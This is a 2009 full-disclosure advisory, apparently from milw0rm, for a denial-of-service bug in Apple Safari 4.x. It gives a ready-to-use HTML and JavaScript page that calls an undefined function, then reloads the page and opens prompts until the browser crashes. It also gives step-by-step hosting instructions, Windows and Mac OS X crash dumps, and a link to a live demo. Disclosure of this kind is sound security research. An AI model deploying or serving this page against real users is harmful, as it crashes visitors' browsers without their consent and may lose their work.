84 lines
No EOL
2.6 KiB
Text
84 lines
No EOL
2.6 KiB
Text
___________________________________________________________________________________
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Apple Safari 4.x JavaScript Reload Denial of Service
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___________________________________________________________________________________
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Author : Marcell 'SkyOut' Dietl, Achim Hoffmann
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Email : mail [at] marcell-dietl [dot] de
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Vendor : http://www.apple.com/
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Product : http://www.apple.com/safari/
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Found : 12.06.2009
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Released : 01.07.2009
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Tested on:
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- Safari 4.0 at Windows XP SP3
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- Safari 4.0.1 at Mac OS X 10.5.7
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___________________________________________________________________________________
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STEPS TO REPRODUCE
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1) Create a HTML file with the following content:
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+----------
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| <html>
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| <body>
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| <script src="empty.js"></script>
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| <script>
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| try { crashSafari(); } catch(e) {
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| setTimeout("location.reload();",42);
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| prompt('apple culpa? comment:'); }
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| </script>
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| </body>
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| </html>
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2) Create an empty file called "empty.js" in the same directory.
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3) Put both files into the WWW directory of your server.
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4) Access the HTML file with your browser.
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- A popup will appear: Close it.
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- A popup will appear: Close it.
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- Crash.
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5) On Windows:
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| AppName: safari.exe AppVer: 4.530.17.0 ModName: webkit.dll
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| ModVer: 4.530.17.0 Offset: 00305f55
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5) On Mac OS X:
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| Process: Safari [298]
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| Path: /Applications/Safari.app/Contents/MacOS/Safari
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| Identifier: com.apple.Safari
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| Version: 4.0.1 (5530.18)
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| Build Info: WebBrowser-55301800~1
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| Code Type: X86 (Native)
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| Parent Process: launchd [163]
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| Date/Time: 2009-07-01 00:58:48.144 +0200
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| OS Version: Mac OS X 10.5.7 (9J61)
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| Report Version: 6
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| Exception Type: EXC_BAD_ACCESS (SIGBUS)
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| Exception Codes: KERN_PROTECTION_FAILURE at 0x0000000000000002
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| Thread 0 crashed with X86 Thread State (32-bit):
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| eax: 0x00000002 ebx: 0x900bac11 ecx: 0x00625eec edx: 0x00000000
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| edi: 0x00625ec8 esi: 0x00000002 ebp: 0xbfffe778 esp: 0xbfffe5e0
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| ss: 0x0000001f efl: 0x00010217 eip: 0x900bac74 cs: 0x00000017
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| ds: 0x0000001f es: 0x0000001f fs: 0x00000000 gs: 0x00000037
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| cr2: 0x00000002
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___________________________________________________________________________________
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Advisory : http://marcell-dietl.de/index/adv_safari_4_x_js_reload_dos.php
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Live Demo : http://marcell-dietl.de/index/demo_safari_4_x_js_reload_dos.html
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Apple has been informed about the bug, but did not show any interest.
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___________________________________________________________________________________
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HAVING FUN WITH FULL DISCLOSURE SINCE 2006
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# milw0rm.com [2009-07-02] |